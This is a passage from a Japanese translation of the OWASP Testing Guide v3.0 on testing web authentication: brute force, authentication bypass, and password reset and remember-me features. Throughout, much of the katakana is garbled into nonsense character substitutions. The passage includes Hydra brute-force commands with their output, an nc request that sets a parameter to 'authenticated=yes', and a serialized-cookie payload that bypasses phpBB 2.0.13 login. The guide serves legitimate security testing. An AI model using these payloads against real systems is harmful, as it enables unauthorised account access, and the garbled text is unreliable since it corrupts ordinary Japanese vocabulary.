解 説<br />

ヤーゴ 認 証 は、 非 常 に 多 くのウェブアプヨクーサュヱにみられます。 一 般 的 に、ヤーゴのアイデヱティティについての 情 報<br />

を 使 って 保 護 された 領 域 を 作 り、ヤーゴごとにアプヨクーサュヱが 異 なる 振 る 舞 いをするようにできます。 実 際 、 電 子婡 証 明 書 、<br />

生 体 認 証 デバイシ、OTP(ワロヱソイマパシワロード)トーキヱのようにヤーゴ 認 証 には 多 くの 方 法 がありますが、ウェブアプヨクー<br />

サュヱには 通 常 はヤーゴ ID とパシワロードの 組 合 せが 使 わわれます。そのため、 数 多 く 列 挙 すること( 例 えば、 辞 書 攻 撃 )、ある<br />

いは、すべての 候 補 を 列 挙 することによって、 正 しいヤーゴ 名 とパシワロードを 調 べる 攻 撃 が 可 能 です。<br />

悪 意 のあるヤーゴがブラートフェーシ 攻 撃 を 成 功 させると、 下 記 にアキスシされてしまいます。8<br />

129


• 機 密 情 報 8<br />

o<br />

ウェブアプヨクーサュヱの 機 密 部邪 分 から、 機 密 文 書 、ヤーゴプルファイラ、 財 務 状牮 態 、 銀 行 口 座 情 報 、ヤー<br />

ゴとの 関 係 などが 漏 えいします。<br />

• 管 理 者 パネラ8<br />

o<br />

管 理 者 パネラは、web ボシソによって、ウェブアプヨクーサュヱのケヱテヱツの 管 理 ( 変 更 、 削 除 、 追 加 )、ヤ<br />

ーゴプルビザュニヱギの 管 理 、ヤーゴ 権 限 の 付 け 替 えなどのために 使 わわれるものです。<br />

• 更 なる 攻 撃 のための 利 用 可 能 性 8<br />

o<br />

ウェブアプヨクーサュヱの 機 密 部邪 分 には、 危 険 な 脆 弱 性 があるかもしれず、 一 般 ヤーゴには 利 用 できない<br />

高 度 な 機 能 があるかもしれません。<br />

ブラチクボチクステステとその 例<br />

ブラートフェーシ 攻 撃 を 効 果 的 に 行 うためには、 認 証 方 法 のソイプを 特牐 定 することが 重 要 です。これによって 攻 撃 技 法 とツ<br />

ーラが 変 わわってくるためです。<br />

認 証 方 法 の 特 定<br />

洗 練 された 認 証 方 法 が 使 わわれていなければ、 一 般 的 に 下 記 の 2 つの 方 法 が 使 わわれます。8<br />

• HTTP 認 証<br />

o<br />

o<br />

プーサッキ 認 証<br />

ミッスーザゾイザェシト 認 証<br />

• HTML フェーマプーシ 認 証<br />

以 下 の 節 では、ブョッキペッキシテシトにおいて 認 証 方 法 を 特牐 定 するためのいくつかの 情 報 について 説 明 します。<br />

HTTP 認 証<br />

HTTP 認 証 には、2 つのネイタブなシカーマ、すなわわちプーサッキ 認 証 とミッスーザゾイザェシト 認 証 があります。<br />

• プーサッキ 認 証<br />

プーサッキ 認 証 は、ルギイヱ 名 ( 例 、owasp)とパシワロード( 例 、password)によって、キョイアヱトを 特牐 定 します。 初 回 のアキスシ<br />

において、ウェブコーバは「Basic」 及 び 保 護 領 域 名 を 含 む「WWW-Authenticate」ソギの 401 リシホヱシを 返 します。( 例 、<br />

WWW-Authenticate: Basic realm="wwwProtectedSite") ブョウゴは、ヤーゴにその 保 護 領 域 についてのルギイヱ 名 とパシ<br />

ワロードを 入 力 することを 促 します。ブョウゴは、「Basic」 及 びルギイヱ 名 、ケルヱ、パシワロードの 文 字 列 連連 結 の Base64 ウヱケー<br />

ドを 含 む「Authorization」ソギをウェブコーバへ 返 します。( 例 、Authorization: Basic b3dhc3A6cGFzc3dvcmQ=) 残 念 ですが、<br />

攻 撃 者 にパクットを 盗 み 見 られると 認 証 情 報 は 簡 単 にデケードされてしまいます。<br />

ヨキウシトとリシホヱシのテシト8<br />

1. あるヨセーシについてキョイアヱトが 標 準 的 な HTTP ヨキウシトを 送 ります。<br />

130


<strong>OWASP</strong> Testing Guide v3.0<br />

GET /members/docs/file.pdf HTTP/1.1<br />

Host: target<br />

2.コーバがそのヨセーシは 保 護 されたディリキトヨの 中 にあると 判 定 します。<br />

3. コーバが HTTP 401 Authorization Required リシホヱシを 返 します。<br />

HTTP/1.1 401 Authorization Required<br />

Date: Sat, 04 Nov 2006 12:52:40 GMT<br />

WWW-Authenticate: Basic realm="User Realm"<br />

Content-Length: 401<br />

Keep-Alive: timeout=15, max=100<br />

Connection: Keep-Alive<br />

Content-Type: text/html; charset=iso-8859-1<br />

4. キョイアヱトがヤーゴ 名 とパシワロードの 入 力 画 面 をホップアップします。<br />

5. キョイアヱトは 認 証 情 報 を 含 め HTTP ヨキウシトを 送 ります。<br />

GET /members/docs/file.pdf HTTP/1.1<br />

Host: target<br />

Authorization: Basic b3dhc3A6cGFzc3dvcmQ=<br />

6. コーバはキョイアヱトからの 情 報 と 認 証 情 報 ヨシトを 比 較 します。<br />

7. 認 証 情 報 が 正 しければ、コーバはヨキウシトされたケヱテヱツを 返 します。 認 証 が 失 敗 すれば、HTTP 401 ケードを 再 送 し<br />

ます。ヤーゴがブョウゴにおいてカメヱスラをキヨッキすれば、ウョーミッスーザが 表 示 されます。<br />

攻 撃 者 がシテップ 5 のヨキウシトを 盗 み 見 たらなら、その 文 字 列<br />

b3dhc3A6cGFzc3dvcmQ=<br />

は Base64 デケードによって 容 易 に 下 記 のように 復 元 されます。<br />

owasp:password<br />

• ミッスーザゾイザェシト 認 証<br />

ミッスーザゾイザェシト 認 証 は、 認 証 デーソを 暗 号 化 するために 一 方 向 暗 号 ハッサャアラゲヨジマ(MD5)を 使 い、ウェブコー<br />

バによってスットされ 一 度 だけ 使 わわれる「nonce」 値 を 加 え、プーサッキ 認 証 のスカャヨティを 向 上 させています。nonce 値 は、<br />

ブョウゴにおいてパシワロードのハッサャ 値 の 計 算 に 使 用 されます。ルギイヱ 名 は 平 文 で 転 送 されますが、 暗 号 ハッサャと<br />

nonce 値 によってパシワロードは 解 読 不 可 能 になり、ヨプリイ 攻 撃 を 不 可 能 にします。<br />

ヨキウシトとリシホヱシのテシト8<br />

1. ゾイザェシト 認 証 における 初 回 のリシホヱシブッゾーを 以 下 に 示 します。<br />

HTTP/1.1 401 Unauthorized<br />

WWW-Authenticate: Digest realm="OwaspSample",<br />

nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",<br />

opaque="0000000000000000", \<br />

stale=false,<br />

algorithm=MD5,<br />

qop="auth"<br />

131


2. 正 しい 認 証 情 報 を 使 っての 応 答 は、 下 記 のようになります。<br />

GET /example/owasp/test.asmx HTTP/1.1<br />

Accept: */*<br />

Authorization: Digest username="owasp",<br />

realm="OwaspSample",<br />

qop="auth",<br />

algorithm="MD5",<br />

uri="/example/owasp/test.asmx",<br />

nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",<br />

nc=00000001,<br />

cnonce="c51b5139556f939768f770dab8e5277a",<br />

opaque="0000000000000000",<br />

response="2275a9ca7b2dadf252afc79923cd3823"<br />

HTML フォーマベース 認 証<br />

2 つの HTTP 認 証 シカーマはイヱソーネットをビザネシのために 使 う 場 合 は、 特牐 に SSL スッサュヱにおいて 適遚 切 なようですが、<br />

多 くの 組 織 はより 洗 練 された 認 証 方 法 を 提 供 するため、ォシソマの HTML とアプヨクーサュヱリプラでの 認 証 処 理 を 選遥 びま<br />

す。<br />

HTML フェーマのセーシケード8<br />

<br />

<br />

<br />

<br />

ブルーテフォース 攻 撃<br />

異 なるソイプの 認 証 方 法 についての 説 明 に 続 けて、いくつかソイプのブラートフェーシ 攻 撃 について 説 明 します。<br />

• 辞 書 攻 撃<br />

辞 書 攻 撃 には、 辞 書 ファイラからヤーゴ 名 とパシワロードを 推 測 する 自 動 化 シキヨプトとツーラを 使 用 します。 辞 書 ファイラは、<br />

アォウヱトのエーナーがおそらく 使 うであろう 単 語 を 網 羅 するように 修 正 、 編 集 されます。ヤーゴについて 理 解 を 深 め、web<br />

コイト 上 で 利 用 可 能 なすべての 単 語 のヨシトを 作 るため、 攻 撃 者 は( 有 効 あるいは 無 効 、 予 備 調 査 、 競 争 相 手 、ゲポ 箱 あさり、<br />

セーサメラウヱザニアヨヱギによって) 情 報 収 集 します。<br />

• コータ 攻 撃<br />

コータ 攻 撃 は、 与 えられたパシワロード 長 の 範 囲 で、 文 字 集 合 のすべての 可 能 な 組 合 せを 網 羅 するように 試 します。この 種<br />

の 攻 撃 は、 試 行 回 数 が 非 常 に 多 いので 非 常 に 時 間 がかかります。 例 えば、ヤーゴ ID は 既 知 であるとし、パシワロードが 小 文<br />

字 のアラファプット 文 字 でありパシワロード 長 が 8 なら、パシワロードの 全 数 は 26^8 (2000 億 以 上 )です。<br />

• ラーラプーシ・コータ 攻 撃<br />

処 理 速 度 を 遅逼 くしすぎないで 組 合 せのォバー 範 囲 を 広 げるために、 候 補 を 生 成 するための 規 則 を 作 って 下 さい。 例 えば、<br />

「John the Ripper」は、ヤーゴ 名 の 一 部邪 から、あるいは、 予 め 設 定 されたボシキによって 修 正 して、パシワロードのバヨウーサュ<br />

ヱを 作 ります。( 例 、1 回 目 pen --> 2 回 目 p3n --> 3 回 目 p3np3n)<br />

HTTP ベーシチク 認 証 のブルーテフォース 攻 撃<br />

raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com http-head /private/<br />

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.<br />

Hydra (http://www.thc.org) starting at 2009-07-04 18:15:17<br />

132


[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task<br />

[DATA] attacking service http-head on port 80<br />

[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h<br />

[80][www] host: 10.0.0.1 login: owasp password: password<br />

[STATUS] attack finished for www.site.com (waiting for childs to finish)<br />

Hydra (http://www.thc.org) finished at 2009-07-04 18:16:34<br />

raven@blackbox /hydra $<br />

HTML フォーマベース 認 証 のブルーテフォース 攻 撃<br />

raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com https-post-form<br />

"/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &<br />

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.<br />

Hydra (http://www.thc.org)starting at 2009-07-04 19:16:17<br />

[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task<br />

[DATA] attacking service http-post-form on port 443<br />

[STATUS] attack finished for wiki.intranet (waiting for childs to finish)<br />

[443] host: 10.0.0.1 login: owasp password: password<br />

[STATUS] attack finished for www.site.com (waiting for childs to finish)<br />

Hydra (http://www.thc.org) finished at 2009-07-04 19:18:34<br />

raven@blackbox /hydra $<br />

<strong>OWASP</strong> Testing Guide v3.0<br />

ギレーボチクステステとその 例<br />

パスワローデとアカウンヱテについての 部 分 的 な 知 識<br />

パシワロード(アォウヱト)の 長 さや 構 造造 についての 情 報 があれば、ブラートフェーシ 攻 撃 が 成 功 する 可 能 性 が 高 くなります。 実<br />

際 、 文 字 の 数 を 制 限 し、パシワロード 長 を 決 めると、パシワロードの 総 数 はかなり 減 少 します。<br />

ミムリーテレーデオフ 攻 撃<br />

ミムヨートリードエフ 攻 撃 を 行 うには、アプヨクーサュヱを 攻 撃 ( 例 、SQL イヱザェキサュヱ)するか、HTTP トョフィッキを 盗 聴 し、<br />

少 なくとも 事 前 にパシワロードハッサャを 必 要 とします。 今 日 、この 種 の 最 も 一 般 的 な 攻 撃 は、リイヱペウテーブラに 基 づいて<br />

います。リイヱペウテーブラは、 一 方 向 ハッサャによって 生 成 される 暗 号 文 から 平 文 パシワロードを 解 読 するために 使 わわれま<br />

す。<br />

133


リイヱペウテーブラは、すべての 候 補 デーソについて 圧 縮 アラゲヨジマを 使 い、Hellman のミムヨートリードエフ 攻 撃 を 最 適遚<br />

化 します。<br />

テーブラはハッサャ 関 数 ごとにあります。 例 えば、MD5 テーブラは MD5 ハッサャをキョッキすることだけが 可 能 です。<br />

後 に RainbowCrack プルギョマが 開 発 されました。これは、 様 々な 文 字 集 合 と LM ハッサャ、MD5、SHA1 などのハッサャアラ<br />

ゲヨジマに 対 応 するリイヱペウテーブラを 生 成 して 利 用 する 強 力 なセフトウェアです。<br />

参 考 情 報<br />

ホワロアテペーパー<br />

Philippe Oechslin: Making a Faster Cryptanalytic Time-Memory Trade-Off - http://lasecwww.epfl.ch/pub/lasec/doc/Oech03.pdf<br />

OPHCRACK (the time-memory-trade-off-cracker) - http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/<br />

Rainbowcrack.com - http://www.rainbowcrack.com/<br />

Project RainbowCrack - http://www.antsight.com/zsl/rainbowcrack/<br />

milw0rm - http://www.milw0rm.com/cracker/list.php<br />

ヂール<br />

<br />

<br />

<br />

THC Hydra: http://www.thc.org/thc-hydra/<br />

John the Ripper: http://www.openwall.com/john/<br />

Brutus http://www.hoobie.net/brutus/<br />

4.4.5 認 証 スキーボのバアパステステ (<strong>OWASP</strong>-AT-005)<br />

概 要<br />

たいていのアプヨクーサュヱは 個 人 情 報 へのアキスシに 認 証 を 必 要 としますが、すべての 認 証 方 法 が 適遚 切 なスカャヨティを<br />

確 保 できるわわけではありません。<br />

スカャヨティ 脅 威姕 についての 不 注 意 、 無 知 、 過遃 小 評 価 が 原 因 で、 単 純 にルギイヱヘーザをシカップすること、 及 び、 認 証 を 経<br />

た 後 にだけアキスシできるはずである 内 部邪 ヘーザを 直 接 呼 び 出 すことによって、 認 証 シカーマがバイパシできることがありま<br />

す。<br />

134


<strong>OWASP</strong> Testing Guide v3.0<br />

更 にヨキウシトを 不 正 に 変 更 することや、アプヨクーサュヱに 既 に 認 証 済 みであると 思 い 込 ませることによって、 認 証 をバイパ<br />

シできることがあります。これは URL のパョミーソを 修 正 すること、あるいは、フェーマを 操 作 すること、スッサュヱを 偽 造造 する<br />

ことによって 可 能 となります。<br />

解 説<br />

認 証 シカーボに 関 する 問 題 は、 設 計 、 開 発 、 開 発 フェージのような Software Development Life Cycle (SDLC)の 異 なる 段 階 に<br />

おいて 見 られます。<br />

設 計 ポシの 例 として、アプヨクーサュヱの 防 御 すべき 部邪 分 の 定 義 が 誤 っていることや、 認 証 デーソの 送 受 信 に 強 力 な 暗 号 プ<br />

ルトケラを 適遚 用 しないこと 等 々があります。<br />

開 発 フェージの 問 題 には、 例 えば、 入 力 値 妥妞 当 性 テシトの 実 装 が 不 適遚 切 であることや、 特牐 定 の 言 語 に 関 するスカャヨティの<br />

プシトプョキティシに 従 わわないことがあげられます。<br />

更 に 必 要 とされる 技 術 シカラの 欠 如 や、 利 用 可 能 なドカャミヱトが 乏 しいため、アプヨクーサュヱのスットアップ(イヱシトーラ<br />

と 設 定 )に 関 して 問 題 がある 場 合 があります。<br />

ブラチクボチクステステとその 例<br />

認 証 シカーボをバイパシするいくつかの 方 法 があります。<br />

• ゾイリキトヘーザヨキウシト(フェーシブョウザヱギ)<br />

• パョミーソ 改 ざん<br />

• スッサュヱ ID 予 測<br />

• SQL イヱザェキサュヱ<br />

ダアレクテページリクエステ<br />

アキスシ 制 御 がルギイヱヘーザにおいてだけ 実 装 されているなら、 認 証 シカーボをバイパシできるかもしれません。 例 えば、<br />

フェーシブョウザヱギによって 遊 うヘーザを 直 接 ヨキウシトできるなら、そのヘーザへアキスシを 許 可 する 前 に、ヤーゴ 認 証 情<br />

報 がタェッキされないかもしれません。この 方 法 によってブョウゴのアドリシバーから 保 護 されたヘーザを 直 接 アキスシして<br />

みて 下 さい。<br />

135


パラミータ 改 ざん<br />

認 証 の 設 計 に 関 する 他 の 問 題 に、アプヨクーサュヱが 固 定 値 パョミーソに 基 づいてルギイヱ 成 功 を 判 断 することがあります。<br />

それらのパョミーソを 改 ざんして、 正 しい 認 証 情 報 なしで 保 護 領 域 にアキスシしてみて 下 さい。 下 記 の 例 では、パョミーソ<br />

「authenticated」を 値 「yes」へ 変 更 することで、アキスシに 成 功 しています。この 例 では、パョミーソは URL の 中 にありますが、<br />

特牐 に POST のフェーマ 要 素 としてパョミーソが 送 られる 時 には、パョミーソを 改 ざんするためにプルカサを 使 うことも 可 能 です。<br />

http://www.site.com/page.asp?authenticated=no<br />

raven@blackbox /home $nc www.site.com 80<br />

GET /page.asp?authenticated=yes HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Date: Sat, 11 Nov 2006 10:22:44 GMT<br />

Server: Apache<br />

Connection: close<br />

Content-Type: text/html; charset=iso-8859-1<br />

<br />

<br />

<br />

You Are Auhtenticated<br />

<br />

136


<strong>OWASP</strong> Testing Guide v3.0<br />

スチシュンヱ ID 予 測<br />

多 くのウェブアプヨクーサュヱは、スッサュヱ ID を 使 って 認 証 を 管 理 します。したがって、 生 成 されるスッサュヱ ID が 予 測 可<br />

能 なら、 正 しいスッサュヱ ID を 見 つけ、 既 に 認 証 済 みのヤーゴになりすまし 不 正 なアキスシが 可 能 となります。<br />

下 図 においては、キッカーの 中 の 値 は 線 形 に 増 加 しており、 正 しいスッサュヱ ID は 簡 単 に 推 測 できます。<br />

下 図 においては、キッカーの 値 は 部邪 分 的 にしか 変 化 しませんので、ブラートフェーシ 攻 撃 の 範 囲 を 下 図 のフィーラドに 限 定<br />

できます。<br />

SQL アンヱジェクシュンヱ(HTML<br />

フォーマ 認 証 )<br />

SQL イヱザェキサュヱは、 広 く 知 られた 攻 撃 手 法 でありこの 節 では 詳 細 は 解 説 しません。このオイドの 多 くの 節 にイヱザェキサ<br />

ュヱ 技 法 についての 説 明 があります。<br />

137


下 図 は 単 純 な SQL イヱザェキサュヱによってフェーマ 認 証 がバイパシ 可 能 であることを 示 しています。<br />

ギレーボチクステステとその 例<br />

(ディリキトヨ・トョバーコラなど) 先 に 見 つけた 脆 弱 性 、あるいは、(エープヱセーシのアプヨクーサュヱの)Web リホザトヨから、<br />

アプヨクーサュヱのセーシケードを 調 べることができれば、 認 証 プルスシへの 攻 撃 を 改 善 することができます。<br />

下 記 の 例 (PHPBB 2.0.13 - Authentication Bypass Vulnerability)においては、5 行 目 の unserialize() 関 数 は、ヤーゴから 送 ら<br />

れてきたキッカーをパーシし、 配郤 列 $row に 値 を 格 納 します。10 行 目 では、バッキウヱドのデーソプーシに 格 納 されているパ<br />

シワロードの MD5 ハッサャが 送 信 されたものと 比 較 されます。<br />

1. if ( isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) ||<br />

2. {<br />

3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . '_data'] ) ?<br />

4.<br />

5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();<br />

6.<br />

7. $sessionmethod = SESSION_METHOD_COOKIE;<br />

8. }<br />

9.<br />

10. if( md5($password) == $row['user_password'] && $row['user_active'] )<br />

11.<br />

138


<strong>OWASP</strong> Testing Guide v3.0<br />

12. {<br />

13. $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;<br />

14. }<br />

PHP において 文 字 列 値 とブーヨアヱ 値 (1 - 「TRUE」)の 比 較 は 常 に「TRUE」となるので、userialize() 関 数 に 下 記 文 字 列 ( 重 要<br />

な 部邪 分 は「 b:1 」)を 入 力 すると 認 証 をバイパシできます。<br />

a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}<br />

参 考 情 報<br />

ホワロアテペーパー<br />

Mark Roxberry: "PHPBB 2.0.13 vulnerability"<br />

David Endler: "Session ID Brute Force Exploitation and Prediction" - http://www.cgisecurity.com/lib/SessionIDs.pdf<br />

ヂール<br />

<br />

<br />

WebScarab: http://www.owasp.org/index.php/Category:<strong>OWASP</strong>_WebScarab_Project<br />

WebGoat: http://www.owasp.org/index.php/<strong>OWASP</strong>_WebGoat_Project<br />

4.4.6 脆 弱 なパスワローデ 記 憶 とリスチテのテステ (<strong>OWASP</strong>-AT-006)<br />

概 要<br />

ヤーゴがパシワロードを 忘 れた 場 合 に 備 えて、たいていのウェブアプヨクーサュヱは、 通 常 、 電 子婡 ミーラ、あるいは、1 つ 以 上<br />

のスカャヨティ 質 問 によってヤーゴがパシワロードをヨスットできるようにしています。この 機 能 が 適遚 切 に 実 装 され、この 機 能 が<br />

認 証 シカーボのフルーに 影 響 しないことを 確 認 して 下 さい。また、アプヨクーサュヱがブョウゴの 中 にパシワロードを 記 憶 するこ<br />

とを 許 可 しているかどうかも 確 認 して 下 さい。(「パシワロード 記 憶 」 機 能 )<br />

解 説<br />

非 常 に 多 くのウェブアプヨクーサュヱは、ヤーゴがパシワロードを 忘 れた 場 合 に、パシワロード 復 旧 (あるいはヨスット) 方 法 を 提 供<br />

しています。その 手 順 はアプヨクーサュヱごとに 大 きく 異 なり、 必 要 とされるスカャヨティのリプラに 応 じて 大 きく 異 なりますが、<br />

常 にヤーゴのアイデヱティティを 確 認 する 代 替 の 方 法 を 使 います。 最 も 単 純 で( 一 般 的 な) 方 法 の 1 つは、ヤーゴの 電 子婡 ミ<br />

ーラアドリシを 確 認 し、その 電 子婡 ミーラアドリシに 古 いパシワロード(あるいは 新 しいパシワロード)を 送 ることです。このシカーマ<br />

はヤーゴの 電 子婡 ミーラアドリシは 不 正 侵 害 されておらず、このゲーラにとって 十 分 スカャアであるという 前 提 に 基 づいてい<br />

ます。<br />

代 わわりに、(あるいは 追 加 で)アプヨクーサュヱはヤーゴに 1 つ 以 上 の「スカャヨティ 質 問 」をすることがあります。その 質 問 は、<br />

通 常 、ヤーゴによって 選遥 ばれます。このシカーマのスカャヨティは、 個 人 情 報 を 探 しても 簡 単 には 答 えられない 質 問 により、<br />

ヤーゴを 特牐 定 することに 基 づいています。 悪 い 例 として、「あなたの 母 親 の 旧 姓 」は、 労 力 をあまりかけずに 収 集 可 能 な 情 報<br />

なのでスカャアではない 質 問 です。 良 い 例 として、「 大 好 きだった 小 学婲 校 の 先 生 」は、 個 人 情 報 が 既 に 盗 まれていたとしても、<br />

難 しく 優 れた 質 問 です。<br />

他 の 一 般 的 で 便 利 な 方 法 に、アプヨクーサュヱが(キョイアヱトボサヱ 上 の)ブョウゴにパシワロードをカメッサャさせ、その 後 の<br />

アキスシで「 既 に 入 力 済 みの」パシワロードを 使 用 することがあります。 平 均 的 なヤーゴにとってこの 機 能 は 非 常 に 使 いやすい<br />

と 考 えられています。その 一 方 、 誰 かが 同 じボサヱアォウヱトを 使 うと、 容 易 にヤーゴアォウヱトが 使 わわれてしまいます。<br />

139


ブラチクボチクステステとその 例<br />

パスワローデリスチテ<br />

第 1 段 階 は、スカャヨティ 質 問 が 使 わわれているか 確 認 することです。 秘 密 の 質 問 をすることなくパシワロード(あるいはパシワロー<br />

ドヨスットのヨヱキ)を 電 子婡 ミーラアドリシへ 送 ることは、 電 子婡 ミーラアドリシのスカャヨティを 100% 信 頼 することであり、アプヨク<br />

ーサュヱに 高 いリプラのスカャヨティが 必 要 なら 適遚 切 ではありません。<br />

一 方 、 秘 密 の 質 問 が 使 わわれているなら、 次 の 段 階 として、その 強 さを 確 認 して 下 さい。<br />

第 1 段 階 のホイヱトとして、パシワロードをヨスットするまでに 何 個 の 質 問 に 答 えなければならないでしょうか?= 多 くのアプヨ<br />

クーサュヱは 1 個 だけ 質 問 しますが、いくつかの 重 要 なアプヨクーサュヱは 2 個 以 上 の 質 問 をします。<br />

第 2 段 階 として 質 問 自 体 を 分 析 して 下 さい。しばしば、 多 くの 質 問 から 選遥 択 できるようになっています。Google でイヱソーネ<br />

ットを 検 索 するか、セーサメラウヱザニアヨヱギによってそれらの 質 問 の 回 答 を 得 られるか 確 認 して 下 さい。 以 下 に、パシワロ<br />

ードヨスット 機 能 のテシトにおけるシテップバイシテップのウェーキシラーを 示 します。<br />

• 質 問 は 複 数 ですか?=<br />

o<br />

o<br />

o<br />

回 答 が「 公 開 されている」かもしれない 質 問 を 選遥 択 して 下 さい。 例 えば Google での 単 純 な 検 索 で 見 つか<br />

るかもしれない 回 答 です。<br />

「 小 学婲 校 」や 調 べることが 可 能 な 事 実 についての 質 問 を 常 に 選遥 んで 下 さい。<br />

「あなたの 最 初 の 車 はどのミーォですか?=」のように、 回 答 がいくつかしかない 質 問 を 探 して 下 さい。 統 計<br />

的 に 最 もありえそうなもの、 最 もありえないものをョヱキ 付 けして 回 答 ヨシトが 作 れます。<br />

• ( 可 能 なら) 試 行 回 数 を 決 めて 下 さい。<br />

o<br />

o<br />

パシワロードヨスットの 試 行 回 数 は 無 制 限 ですか?=<br />

何 度 かの 不 正 解 の 後 、ルッキアップ 期 間 がありますか?= サシテマがルッキアップすること 自 体 、コービシ 不<br />

能 攻 撃 につながるのでスカャヨティ 問 題 であることに 注 意 して 下 さい。<br />

• 上 記 ホイヱトの 分 析 に 基 づいて 適遚 切 な 質 問 を 選遥 び、 最 もありえそうな 回 答 をきめて 下 さい。<br />

• ( 質 問 に 正 解 なら)パシワロードヨスット 機 能 はどのように 振 る 舞 いますか?=<br />

o<br />

o<br />

o<br />

o<br />

すぐにパシワロード 変 更 が 許 可 されますか?=<br />

古 いパシワロードが 表 示 されますか?=<br />

事 前 に 設 定 した 電 子婡 ミーラアドリシへパシワロードが 送 信 されますか?=<br />

最 悪 なサナヨエは、パシワロードヨスット 機 能 がパシワロードを 表 示 することです。それにより 攻 撃 者 にそのアォ<br />

ウヱトでのルギイヱを 許 してしまうことになります。アプヨクーサュヱが 最 終 ルギイヱについての 情 報 を 表 示 し<br />

ないなら、 犠牢 牲牌 者 はアォウヱトが 不 正 侵 害 されたことに 気 が 付 きません。<br />

o 次 に 最 悪 なサナヨエは、パシワロードヨスット 機 能 がヤーゴに 直 ちにパシワロードを 変 更 させることです。 第 1<br />

のクーシほど 秘 かにではありませんが、 攻 撃 者 がアキスシし 本 当 のヤーゴを 締 め 出 すことが 可 能 です。<br />

140


<strong>OWASP</strong> Testing Guide v3.0<br />

o<br />

パシワロードヨスットが 初 期 登 録 時 の 電 子婡 ミーラアドリシ、あるいは、 他 の 電 子婡 ミーラアドリシへの 送 信 を 経<br />

て 行 わわれるなら、スカャヨティは 最 良 です。これにより、 攻 撃 を 成 功 させるには、(アプヨクーサュヱが 示 さな<br />

ければ)パシワロードが 送 信 される 電 子婡 ミーラアドリシを 推 測 しなければならないだけでなく、 犠牢 牲牌 者 のアォ<br />

ウヱトを 搾 取 するためにそのアォウヱトを 不 正 侵 害 することも 必 要 となります。<br />

パシワロードヨスットの 不 正 利 用 とバイパシを 成 功 させる 鍵 は、 簡 単 に 答 えが 得 られる 質 問 を 見 つけることです。どの 答 も 確 か<br />

でないなら、 正 しい 答 を 最 も 統 計 的 に 推 測 できる 質 問 を 探 して 下 さい。 最 終 的 にパシワロードヨスット 機 能 は、 最 も 弱 い 質 問 と<br />

同 じ 程 度 の 強 さとなります。 捕 捉 として、アプヨクーサュヱが 古 いパシワロードを 平 文 で 送 信 あるいは 表 示 するなら、パシワロード<br />

はハッサャ 化 されて 保 存 されていないということですので、それ 自 体 スカャヨティ 問 題 です。<br />

パスワローデ 記 憶<br />

「 自 分 のパシワロードを 記 憶 する」 機 能 は、 下 記 のいずれかの 方 法 で 実 装 されます。<br />

1. web ブョウゴにおける「パシワロードのカメッサャ」 機 能 の 許 可 。<br />

2. 永 続 的 キッカーの 中 のパシワロード 保 存 。パシワロードはハッサャ 化 、 暗 号 化 し、 平 文 で 送 信 してはいけません。<br />

第 1 の 方 法 については、ブョウゴによるパシワロードカメッサャが disable であるかどうか 確 認 するためルギイヱヘーザの<br />

HTML ケードを 確 認 して 下 さい。<br />

<br />

パシワロードの 自 動 補 完媍 は 特牐 に 機 密 性 の 高 いアプヨクーサュヱでは、 常 に disable にするべきです。ブョウゴのカメッサャにア<br />

キスシできるなら 容 易 に 平 文 のパシワロードを 得 ることができます。( 公 共 のケヱピャーソはこの 攻 撃 について 特牐 に 注 意 すべき<br />

例 です。) 第 2 の 方 法 については、アプヨクーサュヱによって 保 存 されたキッカーを 調 べて 下 さい。 認 証 情 報 が 平 文 で 保 存<br />

されておらずハッサャ 化 されていることを 確 認 して 下 さい。ハッサャ 方 法 を 調 べて 下 さい。 一 般 的 な 良 く 知 られたハッサャで<br />

あるか、その 強 さはどうか、 自 作 のハッサャ 関 数 であるかを 調 べて 下 さい。ハッサャ 関 数 が 容 易 に 推 測 可 能 かどうか 調 べるた<br />

め、いくつかのヤーゴ 名 で 試 して 下 さい。 更 にアプヨクーサュヱへのヨキウシト 毎 ではなく、ルギイヱフェージにおいてだけ 認<br />

証 情 報 が 送 信 されることを 確 認 して 下 さい。<br />

ギレーボチクステステとその 例<br />

このテシトではアプヨクーサュヱの 機 能 とキョイアヱトに 送 られる HTML ケードだけを 使 用 します。ギリーペッキシテシトは 前 節<br />

と 同 じオイドョイヱに 従 います。 唯 一 の 例 外 はキッカーの 中 のウヱケード 化 されたパシワロードについてです。これについては<br />

キッカーとスッサュヱトーキヱの 操 作 の 章 に 示 すギリーペッキシテシトも 適遚 用 可 能 です。<br />

4.4.7 ロギアウテとブラウザキメチシャ 管 理 のテステ (<strong>OWASP</strong>-AT-007)<br />

概 要<br />

このフェージではルギアウト 機 能 が 適遚 切 に 実 装 されているか、ルギアウト 後 にスッサュヱを「 再 利 用 」できないかを 調 べて 下 さ<br />

い。ヤーゴがある 時 間 アイドラ 状牮 態 ならアプヨクーサュヱが 自 動 的 にルギアウトするかどうか 調 べて 下 さい。ブョウゴのカメッ<br />

サャに 機 密 性 が 高 いデーソが 残 存 しないかも 調 べて 下 さい。<br />

141


解 説<br />

web スッサュヱの 終 了 は、 通 常 下 記 2 つのイプヱトのどちらかがトヨオーとなります。<br />

• ヤーゴがルギアウトする。<br />

• ヤーゴがある 時 間 アイドラ 状牮 態 のままであり、アプヨクーサュヱが 自 動 的 にそのヤーゴをルギアウトする。<br />

攻 撃 者 に 不 正 にアキスシされないようにするため 両 クーシは 注 意 深 く 実 装 されなければなりません。 詳 細 に 説 明 すると、ル<br />

